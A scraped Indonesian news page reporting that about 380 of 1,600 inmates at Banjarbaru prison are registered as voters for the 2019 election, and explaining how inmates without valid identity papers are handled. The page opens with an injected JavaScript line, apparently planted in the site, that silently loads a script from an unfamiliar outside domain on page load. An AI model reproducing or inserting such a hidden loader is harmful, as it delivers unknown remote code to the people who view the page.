(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

380 Penghuni Lapas Banjarbaru Sudah Terdata sebagai Pemilih Pemilu 2019


BANJARBARU, KPU Banjarbaru sudah terima hampir 380 dari 1.600 daftar identitas penghuni lapas di Banjarbaru yang nantinya akan mencoblos di Pemilu 2019. Hal ini disampaikan Komisioner KPU Banjarbaru Muhammad Wahyu NZ, kepada Kanal Kalimantan, Jumat (15/3).

“Untuk penghuni di Lapas Banjarbaru, datanya yang masuk kekita lebih dari 380 orang. Mereka sudah didata dengan dimintakan identitasnya sebagai pembuktian, dan tercantum sebagai daftar pemilih,” terangnya.

Sementara untuk warga di luar Kota Banjarbaru, khususnya yang terdaftar dan mempunyai identitas yang sudah valid, KPU Banjarbaru sendiri sudah membuatkan A5 sebagai metode pindah memilih untuk sebagian penghuni lapas.  “Selain dengan A5 untuk yang wilayah luar Kota Banjarbaru, mereka juga akan kita buatkan TPS Khusus dilapas tersebut,” ujarnya.

Terkait banyaknya penghuni lapas Banjarbaru yang saat ini masih tidak memiliki identitas yang valid seperti tidak memiliki NIK, KTP,KK hingga hanya menggunakan nama samaran, apakah mereka terpaksa harus tidak memilih atau Golput?

“Memang benar masih banyak napi yang masih tidak memiliki identitas yang valid, namun kita sudah memintakan kepada pihak lapas, mungkin saja ada keluarga penghuni lapas yang memegang KK dan KTPnya, itu sudah diusahakan pihak lapas sudah semaksimal mungkin,” jelas Wahyu.

Apabila berbagai upaya sudah dilakukan, penghuni lapas masih tidak ada juga memiliki identitas, padahal mereka ada kemauan untuk memilih. Setiap warga negara ada hak untuk memilih, apakah mereka terpaksa tidak bisa memilih.

“Mereka yang tidak memiliki identitas, saya tidak mengatakan mereka harus golput, KPU Banjarbaru tidak bisa berdiri sendiri memutuskan itu, kami hanya mengikuti Undang-undang, peraturan KPU, dan keputusan KPU, jadi terpaksa memang tidak bisa memilih, karena tidak ada bukti identitasnya,”pungkasnya. (rendy)

Reporter:Rendy
Editor:Cell

Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

18 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.